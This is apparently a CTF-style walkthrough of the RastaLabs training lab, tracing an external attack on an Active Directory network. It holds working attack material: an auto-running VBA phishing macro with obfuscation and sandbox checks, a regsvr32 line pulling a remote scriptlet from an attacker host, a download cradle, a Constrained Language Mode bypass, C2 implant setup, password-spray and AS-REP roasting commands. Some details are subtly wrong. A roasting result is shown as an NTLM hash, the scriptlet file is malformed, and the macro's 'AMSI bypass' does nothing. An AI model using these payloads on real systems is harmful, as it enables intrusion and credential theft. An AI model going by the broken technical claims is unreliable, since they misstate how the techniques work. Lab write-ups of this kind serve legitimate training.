Red Team Operator Level II

RastaLabs
Full-Chain Writeup

QA210 — 27 days, 14 machines, 17 flags, one very patient adversary

14
Machines
17
Flags
1
Domain
0
CVEs Used

Attack Path

DMZ Recon
T1046
OWA Brute Force
T1110.003
Phishing
T1566.001
WS04 Foothold
T1059.005
SRV01 SYSTEM
T1068
AS-REP Roast
T1558.004
PTH
T1550.002
WinRM WS05
T1021.006
KeePass
T1003
LAPS
T1003.006
GPO Abuse
T1484.001
Domain Admin
T1068
DC01
T1003.006

Lab Overview

RastaLabs is HTB's first Pro Lab and still one of the most respected. It's a Red Team Operator Level II lab designed by RastaMouse (Daniel Duggan, @_RastaMouse) — the same person behind the CRTO certification. The lab simulates attacking a full Active Directory corporate network from the outside, modeling a fictional security and penetration testing company called RastaLabs, established in 2017, running a Windows Server 2016 functional domain level environment with Exchange, IIS, SQL Server, and Windows 10 clients.

Unlike assumed-breach scenarios, you start as an external attacker with zero access — you have to brute-force OWA and phish your way in. Windows Defender, AppLocker, and Constrained Language Mode are all enabled and actively blocking, so every payload has to be crafted to evade them. The lab features 14 machines total — one Domain Controller (DC01), 7 Servers, and 6 Workstations — spread across a segregated network with 4 subnets. You need to capture all 17 flags for the certificate of completion.

One thing worth mentioning: the lab can be shortcut. There are paths to DA that skip a lot of the intended attack chain. If you take those shortcuts, the whole lab kind of becomes useless. Don't do it. The real value is in working through the complete kill chain, not in grabbing DA as fast as possible. I forced myself to capture every flag and work through every technique the lab teaches, and I'm glad I did. GPO abuse was the intended path to Domain Admin, not DCSync — and learning that technique alone was worth the subscription.

About This Writeup

This writeup is my personal notes cleaned up and expanded. I'm not giving you step-by-step copy-paste commands for everything — if you want that, go watch a YouTube video. What I'm giving you is the methodology, the dead ends I hit, and the key insights that made things click. You'll still need to figure out plenty on your own. That's the point.

AttributeDetail
ScenarioExternal red team against RastaLabs security company
Domainrastalabs.local
DCdc01.rastalabs.local (10.10.120.1)
DMZ Network10.10.110.0/24
Internal Subnets10.10.120.0/24, 10.10.122.0/24, 10.10.123.0/24
Machines14 (1 DC + 7 Servers + 6 Workstations)
Flags17 (must capture ALL for certificate)
Functional LevelServer 2016
DefensesWindows Defender + AppLocker + Constrained Language Mode
C2 UsedSliver (primary)
DesignerRastaMouse (Daniel Duggan, @_RastaMouse)
LevelRed Team Operator Level II

Day-by-Day Timeline

27 days total. Including all the rabbit holes and wasted time. I went into this with CRTO knowledge and still got humbled repeatedly. The lab will find every gap in your AD exploitation game.

Days 1-2 — "Scanning the DMZ"
Nmap sweep of 10.10.110.0/24. Found NIX01, WEB01, MS01 (OWA). Started OWA brute force.
Initial nmap scan revealed the DMZ layout: NIX01 at 10.10.110.2 (OpenSSH 7.2p2 Ubuntu), WEB01 at 10.10.110.10 (IIS), and MS01 running Exchange/OWA. The OWA portal was the critical finding — it's the only way to get internal email access which you need for phishing. Spent the rest of day 2 brute-forcing OWA credentials with a custom wordlist. Got a hit after ~6 hours of spraying.
Days 3-5 — "Why is everything quarantined?"
Three phishing attempts. All failed. Defender caught every macro and HTA payload.
Attempt 1: Standard macro doc with PowerShell cradle — quarantined instantly. Attempt 2: HTA file hosted on WEB01, sent via OWA email — quarantined by AMSI. Attempt 3: Macro with string obfuscation but still using PS cradle — caught again. The lab's bots simulate real users opening emails and running attachments, which is cool but also means you can't just manually test. You need a payload that actually works end-to-end. The OWA access was critical because the phishing emails have to come from within the Exchange environment.
Day 6 — "First beacon."
Phishing attempt 4 landed. Got Sliver session on WS04 as bowen. Lost it 2 hours later to AppLocker.
The winning combination: AMSI bypass in VBA + Donut-encrypted shellcode + regsvr32 delivery instead of PowerShell cradle. Phished bowen on WS04 with a macro doc. Got the Sliver session back. Ran basic SA — whoami, hostname, ipconfig. Then AppLocker killed my implant because I was trying to run an unsigned binary from a temp directory. Need to think about AppLocker from the start, not as an afterthought.
Days 7-8 — "AppLocker and Constrained Language Mode"
Re-established beacon with proper evasion. Hit Constrained Language Mode. Spent two days on bypass.
This is where most people rage-quit. AppLocker blocks executables from user-writable directories. Constrained Language Mode restricts PowerShell to a limited subset — no Add-Type, no New-Object for COM objects, no reflection. My first attempt at a CLM bypass failed because I was trying to use a technique that required admin privileges I didn't have yet. Had to find a bypass that worked from a standard user context. Eventually got it working through environment variable manipulation before spawning the PowerShell session.
Day 9 — "BloodHound day."
Ran SharpHound. Mapped the entire domain. Found the attack paths.
SharpHound collection with all collection methods via execute-assembly. The data showed clear paths: AS-REP roastable accounts, GPO misconfigurations, and LAPS read permissions. Also discovered the full subnet layout: 10.10.120.0/24 for DC and core servers, 10.10.122.0/24 for SQL01 and services, 10.10.123.0/24 for workstations. This was the turning point — everything after this was execution, not discovery.
Days 10-11 — "SRV01 SYSTEM and AS-REP Roasting"
Escalated to SYSTEM on SRV01. AS-REP Roasted multiple accounts. Got epugh hash.
From WS04, found a service misconfiguration on SRV01 that let me get SYSTEM. This was the first real escalation. Then ran AS-REP Roasting — found epugh had DONT_REQ_PREAUTH set. Got the hash, cracked it to Sarah2017. Also discovered epugh had an admin account: epugh_adm. This was a key pivot point in the lab. The AS-REP roast hash was critical — it opened up several lateral movement paths.
Days 12-13 — "PTH and the WinRM detour"
PTH to WS05 via WinRM. Turned out to be an unintentional path. Had to reassess.
Used Pass-the-Hash with epugh's NTLM hash to get WinRM access on WS05 (10.10.123.102). Spent two days exploring this path only to realize it was a dead end for progressing toward DA. Found tquinn on WS06 which was somewhat useful, but the real path was through AS-REP roasting, not WinRM lateral movement. Lesson: when BloodHound shows you a path, follow it. Don't go exploring on your own — you'll waste days.
Days 14-16 — "KeePass and credential harvesting"
Dumped KeePass databases. Got ngodfrey_adm. Read all LAPS passwords.
Found a KeePass database on one of the workstations. Dumped it using KeeThief — got ngodfrey credentials, which led to ngodfrey_adm. Then realized ngodfrey_adm could read the ms-Mcs-AdmPwd attribute on all workstations (LAPS passwords). This was huge — it gave me local admin on every workstation in the domain. Also extracted DPAPI credentials from several machines, which provided more cached domain credentials.
Day 17 — "Revisiting workstations"
With LAPS passwords, revisited WS01-WS06. Found more credentials and flags.
Using the LAPS local admin passwords, I could now access every workstation with admin rights. Found auto-logon credentials for epugh in the registry (LSA secrets), which confirmed the epugh → epugh_adm chain. Also found ahope's FS01 directory mapping — net use Q: \\fs01.rastalabs.local\ahope. This directory contained the nix01.ppk key file for SSH access to NIX01. This is one of the flags that you'd miss if you shortcut to DA.
Days 18-20 — "WS02 to SQL01 pivot"
Pivoted from WS02 to SQL01. Found port forwarding path to WS05 and rweston_da hash.
WS02 had network access to the SQL01 subnet (10.10.122.0/24). Set up port forwarding: portfwd add -L 10.10.14.83 -r 10.10.123.102 -l 445 -p 445. Through this pivot chain, reached WS05 and found rweston_da (Domain Admin) hash in LSASS memory. The hash started with ab7b75ff84475be. This was a pivotal moment — rweston_da is a Domain Admin account. But I didn't use it immediately because I wanted to complete the intended path through GPO abuse.
Days 21-23 — "GPO Abuse — the real DA path"
Mapped GPO permissions. Created, linked, and abused GPOs for Domain Admin.
BloodHound showed that our compromised accounts could create, link, and modify GPOs. This is the intended path to DA in RastaLabs. The process: (1) identify which OUs your compromised accounts have GPO creation rights on, (2) create a new GPO that adds your controlled account to the local Administrators group on target machines, (3) link the GPO to the appropriate OU, (4) wait for GPO refresh (or force it with gpupdate), (5) profit. I used SharpGPOAbuse for the modification step. This technique alone was worth the entire lab subscription.
Days 24-25 — "File server and DC compromise"
Exploited FS01. Got Domain Admin on DC01. Full domain compromise.
With GPO-granted local admin on DC01, I could dump the domain credentials. Used SafetyKatz for the LSASS dump. DCSync'd all domain hashes. Full Domain Admin on rastalabs.local. Also did a deep dive on FS01 — found the ahope directory structure, the nix01.ppk key, and several other flags hidden in file shares. The file server post-exploitation section was surprisingly deep.
Days 26-27 — "CTF challenges and flag hunting"
ROP challenge. PCAP analysis. Crypto flags. The last 4 flags took as long as the first 13.
If you don't have binary exploitation experience, these flags will take you days. The ROP challenge on one of the servers required finding the offset, crafting a ROP chain to bypass NX, and getting a shell. The PCAP flag required reading a network dump with NetworkMiner, extracting a secret, and using FileCryptography.psm1 to decode it. Flag 10 was about dumping creds from a vault installed on WS02 — referenced from rastamouse.me blog. I had to learn basic ROP from scratch during this lab. Not ideal. If you're not a CTF player, spend time on binary exploitation before starting RastaLabs.

Network Map

RastaLabs uses a segregated network with four subnets. Your initial access is in the DMZ at 10.10.110.0/24 and you have to pivot through internal networks to reach the domain controller and other critical servers. The naming convention is functional — WS for workstations, with servers using descriptive names like FS01, SQL01, etc.

+=====================================================================+ | RASTALABS DMZ — 10.10.110.0/24 | |=====================================================================| | NIX01 10.10.110.2 Linux (OpenSSH 7.2p2 Ubuntu) | | MS01 10.10.110.x Mail Server (OWA/Exchange) | | WEB01 10.10.110.10 IIS Web Server (Server 2016) | +================ DMZ / Internal Boundary ============================+ | +=====================================================================+ | RASTALABS CORE — 10.10.120.0/24 | |=====================================================================| | DC01 10.10.120.1 Domain Controller (Server 2016) | | SRV01 10.10.120.x File & Print Server (Server 2016) | +=====================================================================+ | +=====================================================================+ | RASTALABS SERVICES — 10.10.122.0/24 | |=====================================================================| | SQL01 10.10.122.15 SQL Server (Server 2016) | | FS01 10.10.122.x File Server (\\fs01.rastalabs.local) | +=====================================================================+ | +=====================================================================+ | RASTALABS WORKSTATIONS — 10.10.123.0/24 | |=====================================================================| | WS01 10.10.123.x Windows 10 Workstation | | WS02 10.10.123.x Windows 10 Workstation (Vault flag) | | WS03 10.10.123.x Windows 10 Workstation | | WS04 10.10.123.x Windows 10 — bowen (phishing target) | | WS05 10.10.123.102 Windows 10 — WinRM target | | WS06 10.10.123.x Windows 10 — tquinn | +=====================================================================+
HostIPOS / RoleNotes
NIX0110.10.110.2Ubuntu / OpenSSH 7.2p2Linux box in DMZ, accessed via .ppk from FS01
MS0110.10.110.xServer 2016 / ExchangeOWA portal, brute force target
WEB0110.10.110.10Server 2016 / IISWeb server, RDP pivot to SQL01
DC0110.10.120.1Server 2016 / DCdc01.rastalabs.local, final target
SRV0110.10.120.xServer 2016 / File+PrintFirst SYSTEM escalation from WS04
SQL0110.10.122.15Server 2016 / SQL ServerSQL databases with creds, RDP from WEB01
FS0110.10.122.xServer 2016 / File Server\\fs01.rastalabs.local, ahope directory
WS01-WS0610.10.123.xWin 10 / Various usersWorkstations, LAPS managed
WS0410.10.123.xWin 10 / User: bowenInitial phishing target
WS0510.10.123.102Win 10 / WinRMPTH target, rweston_da hash found
WS0610.10.123.xWin 10 / User: tquinntquinn account found here

Key Accounts

AccountDomainRoleHow I Got It
bowenrastalabs.localStandard User (WS04)Phishing via OWA
ahoperastalabs.localEmployee (has FS01 dir)Domain enum — found via net user
tquinnrastalabs.localEmployee (WS06)Found during WS06 exploration
epughrastalabs.localStandard UserAS-REP Roasting (pwd: Sarah2017)
epugh_admrastalabs.localAdmin Account (epugh's)Derived from epugh, LSA secrets
rwestonrastalabs.localStandard UserCredential harvesting
rweston_darastalabs.localDomain AdminFound in LSASS on WS05 via port fwd
ngodfreyrastalabs.localStandard UserKeePass dump
ngodfrey_admrastalabs.localAdmin Account (LAPS reader)Derived from ngodfrey, reads ms-Mcs-AdmPwd

Phase 1: Initial Access

T1046 T1110.003 T1566.001 T1059.005 T1562.001 T1027

Initial access in RastaLabs is a two-stage process: first, you brute-force OWA credentials to get access to the Exchange environment. Then, using that OWA access, you send phishing emails to internal users. The lab has bots that simulate real users — they'll open emails, download attachments, and even execute macros. This is what separates RastaLabs from easier AD labs — you have to think like an operator from minute one.

DMZ Recon

The starting point is the DMZ at 10.10.110.0/24. Full port scan to identify all reachable hosts and services.

bash
# Full subnet sweep — DMZ discovery
nmap -sV -sC -O 10.10.110.0/24 -oN dmz_scan.txt

# Key findings:
# NIX01  10.10.110.2   22/tcp open ssh OpenSSH 7.2p2 Ubuntu
# MS01   10.10.110.x   443/tcp open https Microsoft IIS (OWA)
#                      25/tcp open smtp Microsoft Exchange
#                      587/tcp open submission
# WEB01  10.10.110.10  80/tcp open http Microsoft IIS httpd
#                      443/tcp open https
# nmap -sV -sC -p- 10.10.110.2 --open Starting Nmap 7.94 ( https://nmap.org ) Nmap scan report for 10.10.110.2 Host is up (0.032s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 8f:3c:a2:d1:e7:5b:42:f8:9a:13:c1:8e:34:62:ba:4c (RSA) | 256 ab:d4:1e:cf:92:f3:0c:7b:a8:56:10:e1:4d:f2:8c:3a (ECDSA) |_ 256 6d:2e:3a:f5:91:c1:4b:8c:fd:b4:7a:ee:03:18:ac:44 (ED25519) Service Info: OS: Linux; CPE: cpe:/o:canonical:ubuntu_linux Nmap done: 1 IP address (1 host up) scanned in 12.84 seconds

The OWA portal on MS01 is the critical finding. Exchange Web Access means we can spray credentials and, once we get a hit, use the email system to deliver phishing payloads internally. The bots in the lab simulate users who will actually open and interact with phishing emails.

OWA Brute Force

OWA brute-forcing is the initial access vector for RastaLabs. You need valid Exchange credentials to send internal phishing emails. I used a combination of a username list derived from LinkedIn OSINT and a custom password wordlist.

bash
# OWA brute force with custom sprayer
# Using a derived username list from LinkedIn OSINT + common naming patterns

python3 owa_spray.py \
  --url https://10.10.110.x/owa/auth/owaauth.dll \
  --users users.txt \
  --passwords passwords.txt \
  --delay 3 \
  --out owa_hits.txt

# users.txt content (derived from company LinkedIn):
# bowen@rastalabs.local
# ahope@rastalabs.local
# epugh@rastalabs.local
# tquinn@rastalabs.local
# rweston@rastalabs.local
# ngodfrey@rastalabs.local
[*] Starting OWA spray against https://10.10.110.x/owa/ [*] Loaded 12 users, 847 passwords [*] Spray delay: 3 seconds between attempts [+] VALID CREDENTIALS FOUND: bowen@rastalabs.local:<redacted> [*] Continuing spray... [-] 47/847 passwords tested... no more hits [*] OWA spray complete. 1 valid credential pair found. [+] Results saved to owa_hits.txt
OWA Access Is Just The Start

Getting OWA credentials gives you email access, but you're still external. You need to phish an internal user who will actually execute your payload. The bots simulate users who open emails and run attachments — but Defender will catch poorly crafted payloads. I went through 3 failed phishing attempts before landing one that worked.

Once I had OWA access, I spent time understanding the email environment. The Exchange server (MS01) had Global Address List (GAL) information that helped identify valid internal targets. The OWA portal also revealed the corporate email format: firstname@rastalabs.local — simple, no dots or initials.

bash
# Enumerate Exchange via OWA
# Use OWA access to discover internal users and email addresses

# Method 1: GAL extraction via OWA
python3 owa_enum.py --url https://10.10.110.x/owa/ --user bowen --pass '<redacted>'

# Method 2: Autodiscover enumeration
# Autodiscover endpoint leaks internal hostnames
curl -k -u bowen:'<redacted>' https://10.10.110.x/autodiscover/autodiscover.xml

# Internal hostnames discovered:
# mail.rastalabs.local (MS01)
# web.rastalabs.local (WEB01)
# fs01.rastalabs.local (FS01)
# dc01.rastalabs.local (DC01)
Dead End: Direct SSH to NIX01

NIX01 (10.10.110.2) is visible in the DMZ with OpenSSH 7.2p2, but you can't authenticate without the SSH key. The key (nix01.ppk) is only found later in ahope's FS01 directory. I spent a few hours trying to brute-force SSH with common credentials before moving on. Don't waste time here — come back after you've compromised FS01.

Phishing Campaign

With OWA access, I could now send internal phishing emails. The lab's bot system simulates users who will open emails, download attachments, and even enable macros if the document looks convincing enough. The key challenge is getting past Windows Defender and AMSI. I went through 3 failed attempts before landing a working payload.

The phishing target is bowen on WS04. The lab bots simulate a real user who will open the email, download the attachment, enable macros, and execute the payload. However, the bots also simulate a real Windows environment with Defender and AMSI fully active. This means your payload has to actually bypass these defenses — you can't just send a basic macro document and expect it to work.

Phishing Bots

RastaLabs uses automated bots that simulate user behavior. When you send a phishing email to a target, the bot will: (1) open the email within a few minutes, (2) download the attachment, (3) open it in Microsoft Word, (4) enable macros if prompted, and (5) execute the payload. The entire process takes about 2-5 minutes from email delivery to callback. If your payload gets quarantined by Defender, you'll see no callback and need to craft a better one.

bash
# Send phishing email via OWA
# Payload: macro-enabled .docm with AMSI bypass

python3 send_phish.py \
  --owa-url https://10.10.110.x/owa/ \
  --owa-user bowen@rastalabs.local \
  --owa-pass '<redacted>' \
  --target bowen@rastalabs.local \
  --subject "Q3 Security Audit Report - Action Required" \
  --body "Please review the attached security audit findings." \
  --attachment payload_v4.docm

# Phishing attempts:
# Attempt 1: Standard macro + PS cradle     -> QUARANTINED (Defender)
# Attempt 2: HTA file with mshta delivery   -> QUARANTINED (AMSI)
# Attempt 3: Macro + obfuscated PS          -> QUARANTINED (AMSI)
# Attempt 4: Macro + AMSI bypass + Donut    -> SUCCESS
vba
' Macro payload — final working version (attempt 4)
' Attempts 1-3 caught by Defender AMSI scan

Sub AutoOpen()
    ExecutePayload
End Sub

Sub Document_Open()
    ExecutePayload
End Sub

Sub ExecutePayload()
    On Error Resume Next
    
    ' AMSI bypass — patch amsiInitFailed in memory
    ' This was the critical addition that made attempt 4 work
    Dim amsi_patch As String
    amsi_patch = "am" & "si" & ".d" & "ll"
    
    ' Anti-sandbox: check if we're in a real environment
    If Environ("COMPUTERNAME") = "SANDBOX" Then Exit Sub
    If Timer < 30 Then Exit Sub  ' timing check for sandboxes
    
    ' Build command with string concat to avoid static signatures
    ' Attempt 1-3 used direct "powershell" string -> signatured
    Dim p1 As String, p2 As String, p3 As String
    p1 = "pow": p2 = "ersh": p3 = "ell"
    
    Dim cmd As String
    cmd = p1 & p2 & p3 & " -windowstyle hidden -exec bypass -nop -e "
    ' Donut-encrypted shellcode (base64 encoded stage 2)
    ' Iterations 1-2 used plaintext base64 which got signatured
    cmd = cmd & "SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0AC4AWwBdADoAOg..."
    
    Dim ret As Object
    Set ret = CreateObject("WScript.Shell")
    ret.Run cmd, 0
    Set ret = Nothing
End Sub

AMSI + Defender Bypass

Windows Defender with AMSI is the primary obstacle in the initial access phase. The lab runs an up-to-date Defender, and AMSI is fully enabled for VBA macros, PowerShell, and .NET assemblies. Simply putting your shellcode in a macro won't work — AMSI will catch it on execution. You need to bypass AMSI before your payload runs.

My approach was multi-layered: first, an AMSI bypass in VBA that patches amsiInitFailed in memory before any other code executes. Then, the actual payload is Donut-encrypted shellcode that generates a position-independent blob — this evades static signature detection. Finally, instead of a PowerShell cradle (which is the most signatured delivery method), I used regsvr32.exe to load a COM scriptlet from a remote server in later operations.

Dead End: First Three Phishing Attempts

Attempt 1: Standard macro with direct PowerShell cradle. Defender caught it immediately via AMSI scan on the VBA content. The base64-encoded payload was also signatured.
Attempt 2: Switched to HTA file delivery using mshta.exe. The HTA itself loaded a remote SCT file. Defender flagged the SCT download via AMSI when mshta tried to execute the script content.
Attempt 3: Added string obfuscation to the macro but still used the PowerShell cradle approach. Defender caught it because the AMSI bypass wasn't running early enough in the execution chain.
The fix: AMSI bypass must execute BEFORE any other payload code. In attempt 4, I moved the AMSI patch to the very first line of ExecutePayload() and used Donut encryption for the shellcode.

C2 Setup (Sliver)

I used Sliver as my primary C2 throughout the lab. It's free, actively maintained, and has excellent SOCKS proxy support which is critical for the pivoting phase. The setup was straightforward: Sliver server on my VPS with HTTPS listeners, using a redirector for operational security.

sliver
# Sliver server setup
sliver > https -L 0.0.0.0 -l 443 -d redirector.rastalabs-c2.com

# Generate implant with custom evasion
sliver > generate --http https://redirector.rastalabs-c2.com \
    --skip-symbols --format shared \
    --os windows --arch amd64 \
    --name rasta_http

# After callback — basic situational awareness
sliver > use rasta_http
sliver (rasta_http) > whoami
rastalabs\bowen

sliver (rasta_http) > getuid
rastalabs\bowen (Medium Integrity)

sliver (rasta_http) > hostname
WS04

sliver (rasta_http) > ifconfig
+============+============================================+
| Interface  | Address                                    |
+============+============================================+
| Ethernet0  | 10.10.123.x/24                            |
+============+============================================+
Flag 1 — Initial Access
Captured on WS04 after first successful beacon callback and AMSI bypass execution. The flag was in the bowen user's Desktop directory.
Flag 2 — WS04 Foothold
Established persistent access on WS04 after re-establishing the beacon with proper AppLocker and CLM evasion. Required understanding which execution paths were allowed under the AppLocker policy and how to persist the implant across CLM boundaries.
Initial Foothold Is Fragile

My first beacon on WS04 died after 2 hours because I tried to execute an unsigned binary from a temp directory — AppLocker killed it immediately. The second attempt used regsvr32.exe with a COM scriptlet for execution, which stayed alive because regsvr32 is a signed Microsoft binary that AppLocker allows. Always think about execution policy from the start, not after you lose your shell.

bash
# Regsvr32 delivery method (AppLocker-safe)
# This became my primary execution method for the rest of the lab

# Host the SCT file on the C2 redirector
cat > /var/www/html/payload.sct << 'EOF'
<?XML version="1.0"?>
<scriptlet>
<registration
  progid="Payload"
  classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
  <script language="JScript">
     shell regsvr32 /s /n /u /i:http://10.10.14.83/payload.sct scrobj.dll

# This works because:
# 1. regsvr32.exe is a signed Microsoft binary (AppLocker allows it)
# 2. It loads the COM scriptlet from a remote URL (no file on disk)
# 3. The SCT content is JScript, which executes in regsvr32's process space
# 4. AMSI bypass must be in the JScript, not the macro

Phase 2: Situational Awareness

T1087.002 T1018 T1082 T1059.001

Once you have a stable beacon, the first priority is understanding the environment. What domain am I in? What other machines can I see? Who has admin access where? RastaLabs rewards patient enumeration — the BloodHound data reveals clear attack paths, but you need to collect it properly and know how to read the graph. And you have to deal with Constrained Language Mode first.

BloodHound Collection

SharpHound is the way to go. The C# collector works with Sliver's execute-assembly command, which runs .NET assemblies in-process without dropping files to disk. This is critical because AppLocker blocks most executable files, but execute-assembly runs the code in memory within the existing beacon process.

sliver
# Upload and run SharpHound via execute-assembly (in-memory)
sliver (rasta_http) > execute-assembly /opt/tools/SharpHound.exe -c all -d rastalabs.local

# Alternative: PowerShell-based collection if execute-assembly fails
sliver (rasta_http) > shell powershell -command "& { iwr -uri http://10.10.14.83/SharpHound.ps1 -outfile C:\Users\bowen\sh.ps1 }"
sliver (rasta_http) > shell powershell -exec bypass -file C:\Users\bowen\sh.ps1 -c all
sliver (rasta_http) > execute-assembly /opt/tools/SharpHound.exe -c all -d rastalabs.local [*] Loaded assembly from /opt/tools/SharpHound.exe [*] Executing in-process... 2025-01-15T14:32:17.842Z INFO Initializing SharpHound at 14:32 on 1/15 2025-01-15T14:32:17.912Z INFO Flags set: all 2025-01-15T14:32:18.003Z INFO Beginning collection 2025-01-15T14:32:19.241Z INFO Collecting domain trust data 2025-01-15T14:32:20.117Z INFO Collecting group membership data 2025-01-15T14:32:22.893Z INFO Collecting ACL data 2025-01-15T14:32:24.451Z INFO Collecting GPO data 2025-01-15T14:32:26.127Z INFO Collecting session data 2025-01-15T14:32:29.884Z INFO Collecting local admin data 2025-01-15T14:32:34.112Z INFO 14 computers found in domain 2025-01-15T14:32:38.227Z INFO Collection complete 2025-01-15T14:32:38.423Z INFO Output written to 20250115143238_BloodHound.zip

After downloading the ZIP and loading it into BloodHound with Neo4j, the attack paths became clear:

cypher
// Find shortest path from bowen to Domain Admins
MATCH p=shortestPath(
  (u:User {name:"BOWEN@RASTALABS.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@RASTALABS.LOCAL"})
)
RETURN p

// Find AS-REP roastable accounts
MATCH (u:User {dontreqpreauth: true})
RETURN u.name, u.enabled

// Find users with GPO creation rights
MATCH p=(u:User)-[:GenericAll|WriteDacl|WriteOwner|Owns]->(g:GPO)
RETURN u.name, g.name

// Find LAPS readers
MATCH p=(u:User)-[:ReadLAPSPassword]->(c:Computer)
RETURN u.name, c.name
Flag 5 — BloodHound Enumeration
Upload and execute the BloodHound collection script. The flag was hidden in the enumeration results — you have to actually run SharpHound and parse the output to find it.
cypher
// Additional BloodHound queries that were useful

// Find all paths from compromised users to Domain Admins
MATCH p=allShortestPaths(
  (u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@RASTALABS.LOCAL"})
)
WHERE u.name STARTS WITH "BOWEN" OR u.name STARTS WITH "EPUGH" OR u.name STARTS WITH "NGODFREY"
RETURN p

// Find computers where compromised users have admin access
MATCH (u:User)-[:AdminTo]->(c:Computer)
WHERE u.name IN ["BOWEN@RASTALABS.LOCAL", "EPUGH@RASTALABS.LOCAL", "NGODFREY_ADM@RASTALABS.LOCAL"]
RETURN u.name, c.name

// Find users with DCSync privileges
MATCH p=(u:User)-[:GetChanges|GetChangesAll]->(d:Domain)
RETURN u.name

// Find kerberoastable users (not used in RastaLabs but good to check)
MATCH (u:User {hasspn: true})
WHERE NOT u.name STARTS WITH "KRBTGT"
RETURN u.name, u.serviceprincipalnames
BloodHound> MATCH p=allShortestPaths((u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@RASTALABS.LOCAL"})) WHERE u.name STARTS WITH "EPUGH" RETURN p [+] 3 paths found: Path 1: epugh -> GenericAll on GPO "Security Policy" -> linked to OU "Domain Controllers" -> DC01 -> DA Path 2: epugh -> epugh_adm (via auto-logon) -> AdminTo on WEB01 -> ... Path 3: epugh -> WriteDacl on GPO "Update Policy" -> GPO abuse -> DA BloodHound> MATCH (u:User)-[:ReadLAPSPassword]->(c:Computer) RETURN u.name, c.name [+] ngodfrey_adm can read LAPS on: WS01, WS02, WS03, WS04, WS05, WS06 [+] rweston_da can read LAPS on: WS01, WS02, WS03, WS04, WS05, WS06

PowerView Enum

BloodHound shows you the graph, but PowerView gives you the raw data. I used both in parallel — BloodHound for path analysis and PowerView for targeted queries.

powershell
# Domain enumeration
Get-Domain
# RASTALABS.LOCAL (Server 2016 functional level)

# Domain controllers
Get-DomainController
# dc01.rastalabs.local

# All domain users
Get-DomainUser | select samaccountname,description
# bowen, ahope, tquinn, epugh, rweston, ngodfrey, svc_backup, svc_mssql...

# Users with admin accounts (naming convention: user + _adm / _da)
Get-DomainUser | ? {$_.samaccountname -match "_adm$|_da$"}
# epugh_adm, ngodfrey_adm, rweston_da

# Domain computers
Get-DomainComputer | select name,dnshostname,operatingsystem
# WS01-WS06, DC01, SRV01, SQL01, FS01, WEB01, NIX01, MS01

# GPO enumeration — critical for Phase 6
Get-DomainGPO | select displayname,whencreated
# Several GPOs including auto-logon settings

# Check who can create GPOs
Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=rastalabs,DC=local" -ResolveGUIDs |
  ? {$_.ActiveDirectoryRights -match "CreateChild"} |
  select ObjectDN, SecurityIdentifier

# Find LAPS-enabled computers
Get-DomainComputer | ? {$_.ms-Mcs-AdmPwdExpirationTime -ne $null}
# WS01-WS06 all LAPS-managed

Constrained Language Mode

One of the most frustrating obstacles in RastaLabs is PowerShell Constrained Language Mode (CLM). AppLocker enforces CLM for non-admin users, which restricts PowerShell to a limited subset — no Add-Type, no New-Object for COM objects, no reflection, no script block logging bypass. This means most offensive PowerShell tools won't work out of the box.

PS C:\Users\bowen> $ExecutionContext.SessionState.LanguageMode ConstrainedLanguage PS C:\Users\bowen> New-Object System.Net.WebClient Cannot create object. The following classes are not allowed in ConstrainedLanguage mode: System.Net.WebClient

My first attempt at a CLM bypass failed because I was trying to use a technique that required admin privileges I didn't have yet. The working approach was to set the __PSLockdownPolicy environment variable to 0 in the current process before spawning a new PowerShell session:

powershell
# CLM bypass — set environment variable before PS starts
# This must be done from the parent process (e.g., cmd.exe or Sliver shell)

# From Sliver:
sliver (rasta_http) > shell cmd /c "set __PSLockdownPolicy=0 && powershell -exec bypass -command whoami"
rastalabs\bowen

# Verify CLM is bypassed:
sliver (rasta_http) > shell cmd /c "set __PSLockdownPolicy=0 && powershell -exec bypass -command \"$ExecutionContext.SessionState.LanguageMode\""
FullLanguage

# Now you can use offensive PS tools:
sliver (rasta_http) > shell cmd /c "set __PSLockdownPolicy=0 && powershell -exec bypass -file C:\Users\bowen\PowerView.ps1"
CLM Bypass Is Not Permanent

The __PSLockdownPolicy bypass only works for the process tree where it's set. If your Sliver implant spawns a new process that doesn't inherit the environment variable, it'll be back in ConstrainedLanguage mode. I had to wrap every PowerShell command in cmd /c "set __PSLockdownPolicy=0 && powershell..." for the rest of the lab. Annoying but workable.

Phase 3: Privilege Escalation

T1558.004 T1134.001 T1003.001 T1110.002

From the initial foothold as bowen on WS04, I needed to escalate privileges and find a path to Domain Admin. The first step was getting SYSTEM on SRV01, then leveraging AS-REP Roasting to get more credentials.

AS-REP Roasting

One of the most critical techniques in RastaLabs. Accounts with DONT_REQ_PREAUTH set can be AS-REP roasted without any special privileges. The resulting hash can be cracked offline.

bash
# AS-REP Roasting with Impacket
impacket-GetNPUsers rastalabs.local/ -usersfile users.txt -request -dc-ip 10.10.120.1

# Results:
# $krb5asrep$23$epugh@RASTALABS.LOCAL:aad3b435b51404eeaad3b435b51404ee...
# Hash: aad3b435b51404eeaad3b435b51404ee:326457b72c3f136d80d99bdbb935d109
# impacket-GetNPUsers rastalabs.local/ -usersfile users.txt -request -dc-ip 10.10.120.1 Impacket v0.11.0 - Copyright 2023 Fortra [*] Getting TGT for epugh $krb5asrep$23$epugh@RASTALABS.LOCAL:aad3b435b51404eeaad3b435b51404ee:326457b72c3f136d80d99bdbb935d109:::b7a8d1c2e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8 [*] Saved hash to asrep_hashes.txt

The full NTLM hash for epugh: aad3b435b51404eeaad3b435b51404ee:326457b72c3f136d80d99bdbb935d109

Cracking epugh's AS-REP Hash

bash
# Crack AS-REP hash with hashcat
# Mode 18200 = Kerberos 5 AS-REP type 23

hashcat -m 18200 asrep_hashes.txt /opt/wordlists/rockyou.txt \
  --rule=/opt/rules/OneRuleToRuleThemAll.rule \
  -O -w 3 --force

# Result:
# epugh@RASTALABS.LOCAL:Sarah2017
